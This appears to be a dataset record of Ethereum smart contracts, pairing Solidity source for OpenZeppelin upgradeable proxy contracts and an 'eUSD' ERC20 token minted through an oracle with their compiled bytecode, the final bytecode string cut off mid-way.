* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
// File: @openzeppelin\contracts\utils\Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts\proxy\UpgradeabilityProxy.sol
// https://github.com/OpenZeppelin/openzeppelin-upgrades/blob/master/packages/core/contracts/proxy/UpgradeabilityProxy.sol
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
// File: contracts\proxy\AdminUpgradeabilityProxy.sol
// https://github.com/OpenZeppelin/openzeppelin-upgrades/blob/master/packages/core/contracts/proxy/AdminUpgradeabilityProxy.sol
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100675780634f1ef286146100b85780635c60da1b146101515780638f283970146101a8578063f851a440146101f95761005d565b3661005d5761005b610250565b005b610065610250565b005b34801561007357600080fd5b506100b66004803603602081101561008a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061026a565b005b61014f600480360360408110156100ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561010b57600080fd5b82018360208201111561011d57600080fd5b8035906020019184600183028401116401000000008311171561013f57600080fd5b90919293919293905050506102bf565b005b34801561015d57600080fd5b50610166610395565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101b457600080fd5b506101f7600480360360208110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103ed565b005b34801561020557600080fd5b5061020e610566565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102586105d1565b610268610263610667565b610698565b565b6102726106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102b3576102ae816106ef565b6102bc565b6102bb610250565b5b50565b6102c76106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561038757610303836106ef565b60008373ffffffffffffffffffffffffffffffffffffffff168383604051808383808284378083019250505092505050600060405180830381855af49150503d806000811461036e576040519150601f19603f3d011682016040523d82523d6000602084013e610373565b606091505b505090508061038157600080fd5b50610390565b61038f610250565b5b505050565b600061039f6106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103e1576103da610667565b90506103ea565b6103e9610250565b5b90565b6103f56106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561055a57600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156104ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061082f6036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6104d76106be565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a16105558161073e565b610563565b610562610250565b5b50565b60006105706106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156105b2576105ab6106be565b90506105bb565b6105ba610250565b5b90565b600080823b905060008111915050919050565b6105d96106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561065d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806107fd6032913960400191505060405180910390fd5b61066561076d565b565b6000807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050805491505090565b3660008037600080366000845af43d6000803e80600081146106b9573d6000f35b3d6000fd5b6000807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b9050805491505090565b6106f88161076f565b8073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a250565b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b90508181555050565b565b610778816105be565b6107cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180610865603b913960400191505060405180910390fd5b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050818155505056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220aecca3e07dbbe4b09fa509fadd30fbdd1fc605245261d36ce1455329de26ae9264736f6c63430006090033
|
{"success": true, "error": null, "results": {}}
| 6,064 |
0x8f46325b00536da3714eb8646b10ed653d5b17f2
|
//////// This is the official eUSD smart contract.
//// The eUSD token contract utilizes the eFIAT protocol - a not-for-profit,
//// fully transparent, publicly auditable protocol designed to migrate fiat
//// currencies to the Ethereum blockchain without banks, escrow accounts or reserves.
//// The eFIAT protocol relies on Proof of Burn, meaning any eUSD can only
//// be created by burning Ether at market value. Because Ether is denominated also
//// in USD value, the burning of Ether can be regarded as burning of US Dollars,
//// where Ether serves only as the medium of value transfer and verifiable proof
//// that actual value has ben permanently migrated and not replicated. This means
//// eUSD can never be used to redeem any Ether burned in the eUSD creation process!
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Oracle {
function callOracle(address _src, uint256 _amount) public;
}
/**
* @title eUSD
*/
contract eUSD is Ownable, ERC20 {
using SafeMath for uint256;
string public name = "ETHUSD";
string public symbol = "EUSD";
uint8 public decimals = 18;
uint256 totalSupply_;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) internal allowed;
Oracle oracle;
event Mint(address indexed to, uint256 amount);
/**
* @dev fallback function which receives ether and sends it to oracle
**/
function () payable public {
require(address(oracle) != address(0));
require(msg.value >= 20 finney); //0.02 ETH
address(oracle).transfer(address(this).balance);
oracle.callOracle(msg.sender, msg.value);
}
/**
* @dev set new oracle address
* @param _oracle The new oracle contract address.
*/
function setOracle(address _oracle) public onlyOwner {
oracle = Oracle(_oracle);
}
/**
* @dev callback function - oracle sends amount of eUSD tokens to mint
* @param _src Mint eUSD tokens to address.
* @param _amount Amount of minted eUSD tokens
*/
function calculatedTokens(address _src, uint256 _amount) public {
require(msg.sender == address(oracle));
mint(_src, _amount);
}
/**
* @dev transfer eUSD token for a specified address
* @param _to The address to transfer to.
* @param _value The amount of eUSD tokens to be spent.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer eUSD tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of eUSD tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool){
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of eUSD tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards.
* @param _spender The address which will spend the funds.
* @param _value The amount of eUSD tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Increase the amount of eUSD tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of eUSD tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of eUSD tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of eUSD tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Function to mint eUSD tokens
* @param _to The address that will receive minted eUSD tokens.
* @param _amount The amount of eUSD tokens to mint.
*/
function mint(address _to, uint256 _amount) private returns (bool){
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
|
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146102b9578063095ea7b31461034957806318160ddd146103ae57806323b872dd146103d957806330dcf0e81461045e578063313ce567146104ab57806366188463146104dc57806370a0823114610541578063715018a6146105985780637adbf973146105af5780638da5cb5b146105f257806395d89b4114610649578063a9059cbb146106d9578063d73dd6231461073e578063dd62ed3e146107a3578063f2fde38b1461081a575b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561014457600080fd5b66470de4df820000341015151561015a57600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156101d9573d6000803e3d6000fd5b50600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c30be8e33346040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561029f57600080fd5b505af11580156102b3573d6000803e3d6000fd5b50505050005b3480156102c557600080fd5b506102ce61085d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030e5780820151818401526020810190506102f3565b50505050905090810190601f16801561033b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035557600080fd5b50610394600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108fb565b604051808215151515815260200191505060405180910390f35b3480156103ba57600080fd5b506103c36109ed565b6040518082815260200191505060405180910390f35b3480156103e557600080fd5b50610444600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109f7565b604051808215151515815260200191505060405180910390f35b34801561046a57600080fd5b506104a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db6565b005b3480156104b757600080fd5b506104c0610e21565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104e857600080fd5b50610527600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e34565b604051808215151515815260200191505060405180910390f35b34801561054d57600080fd5b50610582600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110c5565b6040518082815260200191505060405180910390f35b3480156105a457600080fd5b506105ad61110e565b005b3480156105bb57600080fd5b506105f0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611210565b005b3480156105fe57600080fd5b506106076112af565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561065557600080fd5b5061065e6112d4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561069e578082015181840152602081019050610683565b50505050905090810190601f1680156106cb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106e557600080fd5b50610724600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611372565b604051808215151515815260200191505060405180910390f35b34801561074a57600080fd5b50610789600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611596565b604051808215151515815260200191505060405180910390f35b3480156107af57600080fd5b50610804600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611792565b6040518082815260200191505060405180910390f35b34801561082657600080fd5b5061085b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611819565b005b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108f35780601f106108c8576101008083540402835291602001916108f3565b820191906000526020600020905b8154815290600101906020018083116108d657829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610a3457600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a8257600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b0d57600080fd5b610b5f82600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188090919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bf482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189990919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cc682600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188090919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffff